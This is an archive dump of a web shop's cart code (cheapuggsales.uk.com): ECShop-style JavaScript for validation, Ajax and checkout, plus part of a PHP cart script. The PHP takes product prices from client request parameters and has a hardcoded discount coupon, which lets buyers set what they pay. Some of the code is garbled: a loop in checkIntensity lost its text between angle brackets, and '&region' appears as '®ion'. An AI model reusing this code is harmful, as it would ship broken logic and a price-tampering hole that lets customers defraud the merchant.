Utils.trim(frm.elements['telephone'].value) : ''; var country = frm.elements['country'] ? Utils.trim(frm.elements['country'].value) : ''; var province = frm.elements['province'] ? Utils.trim(frm.elements['province'].value) : ''; var state = frm.elements['state'] ? Utils.trim(frm.elements['state'].value) : ''; var msg = ""; // 检查输入 var msg = ''; if (country == 0 || country.length == 0 ){ msg += country_empty + '\n'; } if ((province == 0 || province.length == 0)&&state.length == 0 ){ msg += province_empty + '\n'; } if (firstname.length == 0){ msg += firstname_empty + '\n'; } if (lastname.length == 0){ msg += lastname_empty + '\n'; } if (streetname.length == 0){ msg += streetname_empty + '\n'; } if (city.length == 0){ msg += city_empty + '\n'; } if (zipcode.length == 0 ){ msg += zipcode_empty + '\n'; } if (telephone.length == 0){ msg += telephone_empty + '\n'; } /* if (username.length == 0) { msg += username_empty + '\n'; } else if (username.match(/^\s*$|^c:\\con\\con$|[%,\'\*\"\s\t\<\>\&\\]/)) { msg += username_invalid + '\n'; } else if (username.length < 3) { //msg += username_shorter + '\n'; }*/ if (email.length == 0) { msg += email_empty + '\n'; } else { if ( ! (Utils.isEmail(email))) { msg += email_invalid + '\n'; } } if (password.length == 0) { msg += password_empty + '\n'; } /*else if (password.length < 6) { msg += password_shorter + '\n'; }*/ if (/ /.test(password) == true) { msg += passwd_balnk + '\n'; } if (confirm_password != password ) { msg += confirm_password_invalid + '\n'; } /* if(checked_agreement != true) { msg += agreement + '\n'; } if (msn.length > 0 && (!Utils.isEmail(msn))) { msg += msn_invalid + '\n'; } if (qq.length > 0 && (!Utils.isNumber(qq))) { msg += qq_invalid + '\n'; } if (office_phone.length>0) { var reg = /^[\d|\-|\s]+$/; if (!reg.test(office_phone)) { msg += office_phone_invalid + '\n'; } } if (home_phone.length>0) { var reg = /^[\d|\-|\s]+$/; if (!reg.test(home_phone)) { msg += home_phone_invalid + '\n'; } } if (mobile_phone.length>0) { var reg = /^[\d|\-|\s]+$/; if (!reg.test(mobile_phone)) { msg += mobile_phone_invalid + '\n'; } } if (passwd_answer.length > 0 && sel_question == 0 || document.getElementById('passwd_quesetion') && passwd_answer.length == 0) { msg += no_select_question + '\n'; } for (i = 4; i < frm.elements.length - 4; i++) // 从第五项开始循环检查是否为必填项 { needinput = document.getElementById(frm.elements[i].name + 'i') ? document.getElementById(frm.elements[i].name + 'i') : ''; if (needinput != '' && frm.elements[i].value.length == 0) { msg += '- ' + needinput.innerHTML + msg_blank + '\n'; } }*/ if (msg.length > 0) { alert(msg); return false; } else { return true; } } /* * * 用户中心订单保存地址信息 */ function saveOrderAddress(id) { var frm = document.forms['formAddress']; var consignee = frm.elements['consignee'].value; var email = frm.elements['email'].value; var address = frm.elements['address'].value; var zipcode = frm.elements['zipcode'].value; var tel = frm.elements['tel'].value; var mobile = frm.elements['mobile'].value; var sign_building = frm.elements['sign_building'].value; var best_time = frm.elements['best_time'].value; if (id == 0) { alert(current_ss_not_unshipped); return false; } var msg = ''; if (address.length == 0) { msg += address_name_not_null + "\n"; } if (consignee.length == 0) { msg += consignee_not_null + "\n"; } if (msg.length > 0) { alert(msg); return false; } else { return true; } } /* * * 会员余额申请 */ function submitSurplus() { var frm = document.forms['formSurplus']; var surplus_type = frm.elements['surplus_type'].value; var surplus_amount = frm.elements['amount'].value; var process_notic = frm.elements['user_note'].value; var payment_id = 0; var msg = ''; if (surplus_amount.length == 0 ) { msg += surplus_amount_empty + "\n"; } else { var reg = /^[\.0-9]+/; if ( ! reg.test(surplus_amount)) { msg += surplus_amount_error + '\n'; } } if (process_notic.length == 0) { msg += process_desc + "\n"; } if (msg.length > 0) { alert(msg); return false; } if (surplus_type == 0) { for (i = 0; i < frm.elements.length ; i ++) { if (frm.elements[i].name=="payment_id" && frm.elements[i].checked) { payment_id = frm.elements[i].value; break; } } if (payment_id == 0) { alert(payment_empty); return false; } } return true; } /* * * 处理用户添加一个红包 */ function addBonus() { var frm = document.forms['addBouns']; var bonus_sn = frm.elements['bonus_sn'].value; if (bonus_sn.length == 0) { alert(bonus_sn_empty); return false; } else { var reg = /^[0-9]{10}$/; if ( ! reg.test(bonus_sn)) { alert(bonus_sn_error); return false; } } return true; } /* * * 合并订单检查 */ function mergeOrder() { if (!confirm(confirm_merge)) { return false; } var frm = document.forms['formOrder']; var from_order = frm.elements['from_order'].value; var to_order = frm.elements['to_order'].value; var msg = ''; if (from_order == 0) { msg += from_order_empty + '\n'; } if (to_order == 0) { msg += to_order_empty + '\n'; } else if (to_order == from_order) { msg += order_same + '\n'; } if (msg.length > 0) { alert(msg); return false; } else { return true; } } /* * * 订单中的商品返回购物车 * @param int orderId 订单号 */ function returnToCart(orderId) { Ajax.call('user.php?act=return_to_cart', 'order_id=' + orderId, returnToCartResponse, 'POST', 'JSON'); } function returnToCartResponse(result) { alert(result.message); } /* * * 检测密码强度 * @param string pwd 密码 */ function checkIntensity(pwd) { var Mcolor = "#FFF",Lcolor = "#FFF",Hcolor = "#FFF"; var m=0; var Modes = 0; for (i=0; i=48 && t <=57) { charType = 1; } else if (t>=65 && t <=90) { charType = 2; } else if (t>=97 && t <=122) charType = 4; else charType = 4; Modes |= charType; } for (i=0;i<4;i++) { if (Modes & 1) m++; Modes>>>=1; } if (pwd.length<=4) { m = 1; } switch(m) { case 1 : Lcolor = "2px solid red"; Mcolor = Hcolor = "2px solid #DADADA"; break; case 2 : Mcolor = "2px solid #f90"; Lcolor = Hcolor = "2px solid #DADADA"; break; case 3 : Hcolor = "2px solid #3c0"; Lcolor = Mcolor = "2px solid #DADADA"; break; case 4 : Hcolor = "2px solid #3c0"; Lcolor = Mcolor = "2px solid #DADADA"; break; default : Hcolor = Mcolor = Lcolor = ""; break; } if (document.getElementById("pwd_lower")) { document.getElementById("pwd_lower").style.borderBottom = Lcolor; document.getElementById("pwd_middle").style.borderBottom = Mcolor; document.getElementById("pwd_high").style.borderBottom = Hcolor; } } function changeType(obj) { if (obj.getAttribute("min") && document.getElementById("ECS_AMOUNT")) { document.getElementById("ECS_AMOUNT").disabled = false; document.getElementById("ECS_AMOUNT").value = obj.getAttribute("min"); if (document.getElementById("ECS_NOTICE") && obj.getAttribute("to") && obj.getAttribute('fee')) { var fee = parseInt(obj.getAttribute("fee")); var to = parseInt(obj.getAttribute("to")); if (fee < 0) { to = to + fee * 2; } document.getElementById("ECS_NOTICE").innerHTML = notice_result + to; } } } function calResult() { var amount = document.getElementById("ECS_AMOUNT").value; var notice = document.getElementById("ECS_NOTICE"); reg = /^\d+$/; if (!reg.test(amount)) { notice.innerHTML = notice_not_int; return; } amount = parseInt(amount); var frm = document.forms['transform']; for(i=0; i < frm.elements['type'].length; i++) { if (frm.elements['type'][i].checked) { var min = parseInt(frm.elements['type'][i].getAttribute("min")); var to = parseInt(frm.elements['type'][i].getAttribute("to")); var fee = parseInt(frm.elements['type'][i].getAttribute("fee")); var result = 0; if (amount < min) { notice.innerHTML = notice_overflow + min; return; } if (fee > 0) { result = (amount - fee) * to / (min -fee); } else { //result = (amount + fee* min /(to+fee)) * (to + fee) / min ; result = amount * (to + fee) / min + fee; } notice.innerHTML = notice_result + parseInt(result + 0.5); } } } cheapuggsales.uk.com/cart/js/transport.js0000777000000000000000000003461011633550304017534 0ustar rootrootvar Transport = { filename : "transport.js", debugging : { isDebugging : 0, debuggingMode : 0, linefeed : "", containerId : 0 }, debug : function (isDebugging, debuggingMode) { this.debugging = { "isDebugging" : isDebugging, "debuggingMode" : debuggingMode, "linefeed" : debuggingMode ? "
" : "\n", "containerId" : "dubugging-container" + new Date().getTime() }; }, onComplete : function () { }, onRunning : function () { }, run : function (url, params, callback, transferMode, responseType, asyn, quiet) { params = this.parseParams(params); transferMode = typeof(transferMode) === "string" && transferMode.toUpperCase() === "GET" ? "GET" : "POST"; if (transferMode === "GET") { var d = new Date(); url += params ? (url.indexOf("?") === - 1 ? "?" : "&") + params : ""; url = encodeURI(url) + (url.indexOf("?") === - 1 ? "?" : "&") + d.getTime() + d.getMilliseconds(); params = null; } responseType = typeof(responseType) === "string" && ((responseType = responseType.toUpperCase()) === "JSON" || responseType === "XML") ? responseType : "TEXT"; asyn = asyn === false ? false : true; var xhr = this.createXMLHttpRequest(); try { var self = this; if (typeof(self.onRunning) === "function" && !quiet) { self.onRunning(); } xhr.open(transferMode, url, asyn); if (transferMode === "POST") { xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); } if (asyn) { xhr.onreadystatechange = function () { if (xhr.readyState == 4) { switch ( xhr.status ) { case 0: case 200: // OK! if (typeof(self.onComplete) === "function") { self.onComplete(); } if (typeof(callback) === "function") { callback.call(self, self.parseResult(responseType, xhr), xhr.responseText); } break; case 304: // Not Modified break; case 400: // Bad Request alert("XmlHttpRequest status: [400] Bad Request"); break; case 404: // Not Found alert("XmlHttpRequest status: [404] \nThe requested URL "+url+" was not found on this server."); break; case 409: // Conflict break; case 503: // Service Unavailable alert("XmlHttpRequest status: [503] Service Unavailable"); break; default: alert("XmlHttpRequest status: [" + xhr.status + "] Unknow status."); } xhr = null; } } if (xhr != null) xhr.send(params); } else { if (typeof(self.onRunning) === "function") { self.onRunning(); } xhr.send(params); var result = self.parseResult(responseType, xhr); //xhr = null; if (typeof(self.onComplete) === "function") { self.onComplete(); } if (typeof(callback) === "function") { callback.call(self, result, xhr.responseText); } return result; } } catch (ex) { if (typeof(self.onComplete) === "function") { self.onComplete(); } alert(this.filename + "/run() error:" + ex.description); } }, displayDebuggingInfo : function (info, type) { if ( ! this.debugging.debuggingMode) { alert(info); } else { var id = this.debugging.containerId; if ( ! document.getElementById(id)) { div = document.createElement("DIV"); div.id = id; div.style.position = "absolute"; div.style.width = "98%"; div.style.border = "1px solid #f00"; div.style.backgroundColor = "#eef"; var pageYOffset = document.body.scrollTop || window.pageYOffset || 0; div.style.top = document.body.clientHeight * 0.6 + pageYOffset + "px"; document.body.appendChild(div); div.innerHTML = "
" + "
" + "
"; } var subDivs = div.getElementsByTagName("DIV"); if (type === "param") { subDivs[0].innerHTML = info; } else { subDivs[1].innerHTML = info; } } }, createXMLHttpRequest : function () { var xhr = null; if (window.ActiveXObject) { var versions = ['Microsoft.XMLHTTP', 'MSXML6.XMLHTTP', 'MSXML5.XMLHTTP', 'MSXML4.XMLHTTP', 'MSXML3.XMLHTTP', 'MSXML2.XMLHTTP', 'MSXML.XMLHTTP']; for (var i = 0; i < versions.length; i ++ ) { try { xhr = new ActiveXObject(versions[i]); break; } catch (ex) { continue; } } } else { xhr = new XMLHttpRequest(); } return xhr; }, onXMLHttpRequestError : function (xhr, url) { throw "URL: " + url + "\n" + "readyState: " + xhr.readyState + "\n" + "state: " + xhr.status + "\n" + "headers: " + xhr.getAllResponseHeaders(); }, parseParams : function (params) { var legalParams = ""; params = params ? params : ""; if (typeof(params) === "string") { legalParams = params; } else if (typeof(params) === "object") { try { legalParams = "JSON=" + params.toJSONString(); } catch (ex) { alert("Can't stringify JSON!"); return false; } } else { alert("Invalid parameters!"); return false; } if (this.debugging.isDebugging) { var lf = this.debugging.linefeed, info = "[Original Parameters]" + lf + params + lf + lf + "[Parsed Parameters]" + lf + legalParams; this.displayDebuggingInfo(info, "param"); } return legalParams; }, preFilter : function (result) { return result.replace(/\xEF\xBB\xBF/g, ""); }, parseResult : function (responseType, xhr) { var result = null; switch (responseType) { case "JSON" : result = this.preFilter(xhr.responseText); try { result = result.parseJSON(); } catch (ex) { throw this.filename + "/parseResult() error: can't parse to JSON.\n\n" + xhr.responseText; } break; case "XML" : result = xhr.responseXML; break; case "TEXT" : result = this.preFilter(xhr.responseText); break; default : throw this.filename + "/parseResult() error: unknown response type:" + responseType; } if (this.debugging.isDebugging) { var lf = this.debugging.linefeed, info = "[Response Result of " + responseType + " Format]" + lf + result; if (responseType === "JSON") { info = "[Response Result of TEXT Format]" + lf + xhr.responseText + lf + lf + info; } this.displayDebuggingInfo(info, "result"); } if(result.target == "selProvinces_0"){ if(document.getElementById("guojia") != null){ if(result.regions.length == 0){ document.getElementById("guojia").style.display='table-row'; } else{ document.getElementById("guojia").style.display='none'; } } } return result; } }; var Ajax = Transport; Ajax.call = Transport.run; if ( ! Object.prototype.toJSONString) { Array.prototype.toJSONString = function () { var a = ['['], // The array holding the text fragments. b, // A boolean indicating that a comma is required. i, // Loop counter. l = this.length, v; // The value to be stringified. function p(s) { if (b) { a.push(','); } a.push(s); b = true; } // For each value in this array... for (i = 0; i < l; i ++) { v = this[i]; switch (typeof v) { // Values without a JSON representation are ignored. case 'undefined': case 'function': case 'unknown': break; case 'object': if (v) { if (typeof v.toJSONString === 'function') { p(v.toJSONString()); } } else { p("null"); } break; // Otherwise, serialize the value. default: p(v.toJSONString()); } } // Join all of the fragments together and return. a.push(']'); return a.join(''); }; Boolean.prototype.toJSONString = function () { return String(this); }; Date.prototype.toJSONString = function () { // Ultimately, this method will be equivalent to the date.toISOString method. function f(n) { // Format integers to have at least two digits. return n < 10 ? '0' + n : n; } return '"' + this.getFullYear() + '-' + f(this.getMonth() + 1) + '-' + f(this.getDate()) + 'T' + f(this.getHours()) + ':' + f(this.getMinutes()) + ':' + f(this.getSeconds()) + '"'; }; Number.prototype.toJSONString = function () { // JSON numbers must be finite. Encode non-finite numbers as null. return isFinite(this) ? String(this) : "null"; }; Object.prototype.toJSONString = function () { var a = ['{'], // The array holding the text fragments. b, // A boolean indicating that a comma is required. k, // The current key. v; // The current value. function p(s) { // p accumulates text fragment pairs in an array. It inserts a comma before all // except the first fragment pair. if (b) { a.push(','); } a.push(k.toJSONString(), ':', s); b = true; } // Iterate through all of the keys in the object, ignoring the proto chain. for (k in this) { if (this.hasOwnProperty(k)) { v = this[k]; switch (typeof v) { // Values without a JSON representation are ignored. case 'undefined': case 'function': case 'unknown': break; case 'object': if (this !== window) { if (v) { if (typeof v.toJSONString === 'function') { p(v.toJSONString()); } } else { p("null"); } } break; default: p(v.toJSONString()); } } } // Join all of the fragments together and return. a.push('}'); return a.join(''); }; (function (s) { var m = { '\b': '\\b', '\t': '\\t', '\n': '\\n', '\f': '\\f', '\r': '\\r', '"' : '\\"', '\\': '\\\\' }; s.parseJSON = function (filter) { try { if (/^("(\\.|[^"\\\n\r])*?"|[,:{}\[\]0-9.\-+Eaeflnr-u \n\r\t])+?$/. test(this)) { var j = eval('(' + this + ')'); if (typeof filter === 'function') { function walk(k, v) { if (v && typeof v === 'object') { for (var i in v) { if (v.hasOwnProperty(i)) { v[i] = walk(i, v[i]); } } } return filter(k, v); } j = walk('', j); } return j; } } catch (e) { } throw new SyntaxError("parseJSON"); }; s.toJSONString = function () { var _self = this.replace("&", "%26"); if (/["\\\x00-\x1f]/.test(this)) { return '"' + _self.replace(/([\x00-\x1f\\"])/g, function(a, b) { var c = m[b]; if (c) { return c; } c = b.charCodeAt(); return '\\u00' + Math.floor(c / 16).toString(16) + (c % 16).toString(16); }) + '"'; } return '"' + _self + '"'; }; })(String.prototype); } Ajax.onRunning = showLoader; Ajax.onComplete = hideLoader; function showLoader() { document.getElementsByTagName('body').item(0).style.cursor = "wait"; if (top.frames['header-frame']) { top.frames['header-frame'].document.getElementById("load-div").style.display = "block"; } else { var obj = document.getElementById('loader'); if ( ! obj && process_request) { obj = document.createElement("DIV"); obj.id = "loader"; obj.innerHTML = process_request; document.body.appendChild(obj); } } } function hideLoader() { document.getElementsByTagName('body').item(0).style.cursor = "auto"; if (top.frames['header-frame']) { setTimeout(function(){top.frames['header-frame'].document.getElementById("load-div").style.display = "none"}, 10); } else { try { var obj = document.getElementById("loader"); obj.style.display = 'none'; document.body.removeChild(obj); } catch (ex) {} } } cheapuggsales.uk.com/cart/js/shopping_flow.js0000777000000000000000000003220411633550304020353 0ustar rootroot/* $Id : shopping_flow.js 4865 2007-01-31 14:04:10Z paulgao $ */ var selectedShipping = null; var selectedPayment = null; var selectedPack = null; var selectedCard = null; var selectedSurplus = ''; var selectedBonus = 0; var selectedIntegral = 0; var selectedOOS = null; var alertedSurplus = false; var groupBuyShipping = null; var groupBuyPayment = null; /* * * 改变配送方式 */ function selectShipping(obj) { if (selectedShipping == obj) { return; } else { selectedShipping = obj; } var supportCod = obj.attributes['supportCod'].value + 0; var theForm = obj.form; for (i = 0; i < theForm.elements.length; i ++ ) { if (theForm.elements[i].name == 'payment' && theForm.elements[i].attributes['isCod'].value == '1') { if (supportCod == 0) { theForm.elements[i].checked = false; theForm.elements[i].disabled = true; } else { theForm.elements[i].disabled = false; } } } if (obj.attributes['insure'].value + 0 == 0) { document.getElementById('ECS_NEEDINSURE').checked = false; document.getElementById('ECS_NEEDINSURE').disabled = true; } else { document.getElementById('ECS_NEEDINSURE').checked = false; document.getElementById('ECS_NEEDINSURE').disabled = false; } var now = new Date(); Ajax.call('flow.php?step=select_shipping', 'shipping=' + obj.value, orderShippingSelectedResponse, 'GET', 'JSON'); } /** * */ function orderShippingSelectedResponse(result) { if (result.need_insure) { try { document.getElementById('ECS_NEEDINSURE').checked = true; } catch (ex) { alert(ex.message); } } try { if (document.getElementById('ECS_CODFEE') != undefined) { document.getElementById('ECS_CODFEE').innerHTML = result.cod_fee; } } catch (ex) { alert(ex.message); } orderSelectedResponse(result); } /* * * 改变支付方式 */ function selectPayment(obj) { if (selectedPayment == obj) { return; } else { selectedPayment = obj; } Ajax.call('flow.php?step=select_payment', 'payment=' + obj.value, orderSelectedResponse, 'GET', 'JSON'); } /* * * 团购购物流程 --> 改变配送方式 */ function handleGroupBuyShipping(obj) { if (groupBuyShipping == obj) { return; } else { groupBuyShipping = obj; } var supportCod = obj.attributes['supportCod'].value + 0; var theForm = obj.form; for (i = 0; i < theForm.elements.length; i ++ ) { if (theForm.elements[i].name == 'payment' && theForm.elements[i].attributes['isCod'].value == '1') { if (supportCod == 0) { theForm.elements[i].checked = false; theForm.elements[i].disabled = true; } else { theForm.elements[i].disabled = false; } } } if (obj.attributes['insure'].value + 0 == 0) { document.getElementById('ECS_NEEDINSURE').checked = false; document.getElementById('ECS_NEEDINSURE').disabled = true; } else { document.getElementById('ECS_NEEDINSURE').checked = false; document.getElementById('ECS_NEEDINSURE').disabled = false; } Ajax.call('group_buy.php?act=select_shipping', 'shipping=' + obj.value, orderSelectedResponse, 'GET'); } /* * * 团购购物流程 --> 改变支付方式 */ function handleGroupBuyPayment(obj) { if (groupBuyPayment == obj) { return; } else { groupBuyPayment = obj; } Ajax.call('group_buy.php?act=select_payment', 'payment=' + obj.value, orderSelectedResponse, 'GET'); } /* * * 改变商品包装 */ function selectPack(obj) { if (selectedPack == obj) { return; } else { selectedPack = obj; } Ajax.call('flow.php?step=select_pack', 'pack=' + obj.value, orderSelectedResponse, 'GET', 'JSON'); } /* * * 改变祝福贺卡 */ function selectCard(obj) { if (selectedCard == obj) { return; } else { selectedCard = obj; } Ajax.call('flow.php?step=select_card', 'card=' + obj.value, orderSelectedResponse, 'GET', 'JSON'); } /* * * 选定了配送保价 */ function selectInsure(needInsure) { needInsure = needInsure ? 1 : 0; Ajax.call('flow.php?step=select_insure', 'insure=' + needInsure, orderSelectedResponse, 'GET', 'JSON'); } /* * * 团购购物流程 --> 选定了配送保价 */ function handleGroupBuyInsure(needInsure) { needInsure = needInsure ? 1 : 0; Ajax.call('group_buy.php?act=select_insure', 'insure=' + needInsure, orderSelectedResponse, 'GET', 'JSON'); } /* * * 回调函数 */ function orderSelectedResponse(result) { if (result.error) { alert(result.error); location.href = './'; } try { var layer = document.getElementById("ECS_ORDERTOTAL"); layer.innerHTML = (typeof result == "object") ? result.content : result; if (result.payment != undefined) { var surplusObj = document.forms['theForm'].elements['surplus']; if (surplusObj != undefined) { surplusObj.disabled = result.pay_code == 'balance'; } } } catch (ex) { } } /* * * 改变余额 */ function changeSurplus(val) { if (selectedSurplus == val) { return; } else { selectedSurplus = val; } Ajax.call('flow.php?step=change_surplus', 'surplus=' + val, changeSurplusResponse, 'GET', 'JSON'); } /* * * 改变余额回调函数 */ function changeSurplusResponse(obj) { if (obj.error) { try { document.getElementById("ECS_SURPLUS_NOTICE").innerHTML = obj.error; document.getElementById('ECS_SURPLUS').value = '0'; document.getElementById('ECS_SURPLUS').focus(); } catch (ex) { } } else { try { document.getElementById("ECS_SURPLUS_NOTICE").innerHTML = ''; } catch (ex) { } orderSelectedResponse(obj.content); } } /* * * 改变积分 */ function changeIntegral(val) { if (selectedIntegral == val) { return; } else { selectedIntegral = val; } Ajax.call('flow.php?step=change_integral', 'points=' + val, changeIntegralResponse, 'GET', 'JSON'); } /* * * 改变积分回调函数 */ function changeIntegralResponse(obj) { if (obj.error) { try { document.getElementById('ECS_INTEGRAL_NOTICE').innerHTML = obj.error; document.getElementById('ECS_INTEGRAL').value = '0'; document.getElementById('ECS_INTEGRAL').focus(); } catch (ex) { } } else { try { document.getElementById('ECS_INTEGRAL_NOTICE').innerHTML = ''; } catch (ex) { } orderSelectedResponse(obj.content); } } /* * * 改变红包 */ function changeBonus(val) { if (selectedBonus == val) { return; } else { selectedBonus = val; } Ajax.call('flow.php?step=change_bonus', 'bonus=' + val, changeBonusResponse, 'GET', 'JSON'); } /* * * 改变红包的回调函数 */ function changeBonusResponse(obj) { if (obj.error) { alert(obj.error); try { document.getElementById('ECS_BONUS').value = '0'; } catch (ex) { } } else { orderSelectedResponse(obj.content); } } /** * 验证红包序列号 * @param string bonusSn 红包序列号 */ function validateBonus(bonusSn) { Ajax.call('flow.php?step=validate_bonus', 'bonus_sn=' + bonusSn, validateBonusResponse, 'GET', 'JSON'); } function validateBonusResponse(obj) { if (obj.error) { alert(obj.error); orderSelectedResponse(obj.content); try { document.getElementById('ECS_BONUSN').value = '0'; } catch (ex) { } } else { orderSelectedResponse(obj.content); } } /* * * 改变发票的方式 */ function changeNeedInv() { var obj = document.getElementById('ECS_NEEDINV'); var objType = document.getElementById('ECS_INVTYPE'); var objPayee = document.getElementById('ECS_INVPAYEE'); var objContent = document.getElementById('ECS_INVCONTENT'); var needInv = obj.checked ? 1 : 0; var invType = obj.checked ? (objType != undefined ? objType.value : '') : ''; var invPayee = obj.checked ? objPayee.value : ''; var invContent = obj.checked ? objContent.value : ''; objType.disabled = objPayee.disabled = objContent.disabled = ! obj.checked; if(objType != null) { objType.disabled = ! obj.checked; } Ajax.call('flow.php?step=change_needinv', 'need_inv=' + needInv + '&inv_type=' + encodeURIComponent(invType) + '&inv_payee=' + encodeURIComponent(invPayee) + '&inv_content=' + encodeURIComponent(invContent), orderSelectedResponse, 'GET'); } /* * * 改变发票的方式 */ function groupBuyChangeNeedInv() { var obj = document.getElementById('ECS_NEEDINV'); var objPayee = document.getElementById('ECS_INVPAYEE'); var objContent = document.getElementById('ECS_INVCONTENT'); var needInv = obj.checked ? 1 : 0; var invPayee = obj.checked ? objPayee.value : ''; var invContent = obj.checked ? objContent.value : ''; objPayee.disabled = objContent.disabled = ! obj.checked; Ajax.call('group_buy.php?act=change_needinv', 'need_idv=' + needInv + '&payee=' + invPayee + '&content=' + invContent, null, 'GET'); } /* * * 改变缺货处理时的处理方式 */ function changeOOS(obj) { if (selectedOOS == obj) { return; } else { selectedOOS = obj; } Ajax.call('flow.php?step=change_oos', 'oos=' + obj.value, null, 'GET'); } /* * * 检查提交的订单表单 */ function checkOrderForm(frm) { var paymentSelected = false; var shippingSelected = false; // 检查是否选择了支付配送方式 for (i = 0; i < frm.elements.length; i ++ ) { if (frm.elements[i].name == 'shipping' && frm.elements[i].checked) { shippingSelected = true; } if (frm.elements[i].name == 'payment' && frm.elements[i].checked) { paymentSelected = true; } } if ( ! shippingSelected) { alert(flow_no_shipping); return false; } /* if ( ! paymentSelected) { alert(flow_no_payment); return false; } */ // 检查用户输入的余额 if (document.getElementById("ECS_SURPLUS")) { var surplus = document.getElementById("ECS_SURPLUS").value; var error = Utils.trim(Ajax.call('flow.php?step=check_surplus', 'surplus=' + surplus, null, 'GET', 'TEXT', false)); if (error) { try { document.getElementById("ECS_SURPLUS_NOTICE").innerHTML = error; } catch (ex) { } return false; } } // 检查用户输入的积分 if (document.getElementById("ECS_INTEGRAL")) { var integral = document.getElementById("ECS_INTEGRAL").value; var error = Utils.trim(Ajax.call('flow.php?step=check_integral', 'integral=' + integral, null, 'GET', 'TEXT', false)); if (error) { return false; try { document.getElementById("ECS_INTEGRAL_NOTICE").innerHTML = error; } catch (ex) { } } } frm.action = frm.action + '?step=done'; return true; } /* * * 检查收货地址信息表单中填写的内容 */ function checkConsignee(frm) { var msg = new Array(); var err = false; if (frm.elements['country'] && frm.elements['country'].value == 0) { msg.push(country_not_null); err = true; } if (frm.elements['province'] && frm.elements['province'].value == 0 && frm.elements['state'] && Utils.isEmpty(frm.elements['state'].value)) { err = true; msg.push(province_not_null); } if (frm.elements['city'] && Utils.isEmpty(frm.elements['city'].value)) { err = true; msg.push(city_not_null); } if (frm.elements['district'] && frm.elements['district'].length > 1) { if (frm.elements['district'].value == 0) { err = true; msg.push(district_not_null); } } frm.elements['consignee'].value = frm.elements['firstname'].value + frm.elements['lastname'].value; if (Utils.isEmpty(frm.elements['consignee'].value)) { err = true; msg.push(consignee_not_null); } if ( ! Utils.isEmail(frm.elements['email'].value)) { err = true; msg.push(invalid_email); } if (frm.elements['address'] && Utils.isEmpty(frm.elements['address'].value)) { err = true; msg.push(address_not_null); } if (Utils.isEmpty(frm.elements['zipcode'].value)) { err = true; msg.push(zip_not_num); } if (Utils.isEmpty(frm.elements['tel'].value)) { err = true; msg.push(tele_not_null); } else { /*if (!Utils.isTel(frm.elements['tel'].value)) { err = true; msg.push(tele_invaild); }*/ } if (frm.elements['mobile'] && frm.elements['mobile'].value.length > 0 && (!Utils.isTel(frm.elements['mobile'].value))) { err = true; msg.push(mobile_invaild); } if (err) { message = msg.join("\n"); alert(message); } return ! err; } cheapuggsales.uk.com/cart/js/region.js0000777000000000000000000000654611633550304016772 0ustar rootroot var region = new Object(); region.isAdmin = false; region.loadRegions = function(parent, type, target) { Ajax.call(region.getFileName(), 'exact®ion_id=' + parent, function(e){ if (e==1){ document.getElementById("shoudong").style.display = ''; document.getElementById("shen").style.display = 'none'; } else{ document.getElementById("shoudong").style.display = 'none'; document.getElementById("shen").style.display = ''; Ajax.call(region.getFileName(), 'type=' + type + '&target=' + target + "&parent=" + parent , region.response, "GET", "JSON"); } }, "GET", "JSON"); } region.loadProvinces = function(country, selName) { var objName = (typeof selName == "undefined") ? "selProvinces" : selName; region.loadRegions(country, 1, objName); } region.loadCities = function(province, selName) { var objName = (typeof selName == "undefined") ? "selCities" : selName; region.loadRegions(province, 2, objName); } region.loadDistricts = function(city, selName) { var objName = (typeof selName == "undefined") ? "selDistricts" : selName; region.loadRegions(city, 3, objName); } region.changed = function(obj, type, selName) { var parent = obj.options[obj.selectedIndex].value; if (selName == 'selProvinces_b'){ Ajax.call(region.getFileName(), 'exact®ion_id=' + parent, function(e){ if (e==1){ document.getElementById("shoudong_b").style.display = ''; document.getElementById("shen_b").style.display = 'none'; } else{ document.getElementById("shoudong_b").style.display = 'none'; document.getElementById("shen_b").style.display = ''; Ajax.call(region.getFileName(), 'type=' + type + '&target=' + selName + "&parent=" + parent , region.response, "GET", "JSON"); } }, "GET", "JSON"); } else if (selName == 'selProvinces_a'){ Ajax.call(region.getFileName(), 'exact®ion_id=' + parent, function(e){ if (e==1){ document.getElementById("shoudong_a").style.display = ''; document.getElementById("shen_a").style.display = 'none'; } else{ document.getElementById("shoudong_a").style.display = 'none'; document.getElementById("shen_a").style.display = ''; Ajax.call(region.getFileName(), 'type=' + type + '&target=' + selName + "&parent=" + parent , region.response, "GET", "JSON"); } }, "GET", "JSON"); } region.loadRegions(parent, type, selName); } region.response = function(result, text_result) { var sel = document.getElementById(result.target); sel.length = 1; sel.selectedIndex = 0; sel.style.display = (result.regions.length == 0 && ! region.isAdmin && result.type + 0 == 3) ? "none" : ''; if (document.all) { sel.fireEvent("onchange"); } else { var evt = document.createEvent("HTMLEvents"); evt.initEvent('change', true, true); sel.dispatchEvent(evt); } if (result.regions) { for (i = 0; i < result.regions.length; i ++ ) { var opt = document.createElement("OPTION"); opt.value = result.regions[i].region_id; opt.text = result.regions[i].region_name; sel.options.add(opt); } } } region.getFileName = function() { if (region.isAdmin) { return "../region.php"; } else if(region.isGet){ return "../../region.php"; } else { return "region.php"; } } cheapuggsales.uk.com/cart/indexnew.php0000777000000000000000000005361011633550304017061 0ustar rootroot"; if (($action=="add") or ($action=="update")){ $id=$_REQUEST["pid"]; $name=$_REQUEST["name"]; $price=$_REQUEST["price"]; $count=$_REQUEST["count"]; $purl=$_REQUEST["purl"]; $pimg=$_REQUEST["pimg"]; // 商品已经存在 修改数据 if ($cart->data[$id]) { if($action=="update"){$cart->data[$id]['count'] = $count; $cart->data[$id]['money'] = $cart->data[$id]['price'] * $count; }else{ $cart->data[$id]['count'] += $count; $cart->data[$id]['money'] += $cart->data[$id]['price'] * $count; } // 添加商品 } else { $cart->data[$id]['name'] = $name; $cart->data[$id]['price'] = $price; $cart->data[$id]['count'] = $count; $cart->data[$id]['purl'] = $purl; $cart->data[$id]['pimg'] = $pimg; $cart->data[$id]['money'] = $price * $count ; } // 保存购物车数据 $cart->save(); Header("Location: /cart/"); } $orderdec=""; $html=""; $htmlr=""; $htmlc=""; $coupon=$_REQUEST["coupon_code"]; if ($coupon=='10off'){$disprice=0.9;}else{$disprice=1;} $counts=$cart->sum('count'); if ($counts>1 and $disprice>0.9){$disprice=0.9;} $ototal=$cart->sum('money') * $disprice; if ((int)$ototal==0){$ototal=0;} if ($ototal>0){ foreach ($cart->data AS $k => $v) { if ((int)$v['count']>0){ $orderdec=$orderdec."-".$k; $html .=' Remove item

'.$v['name'].'

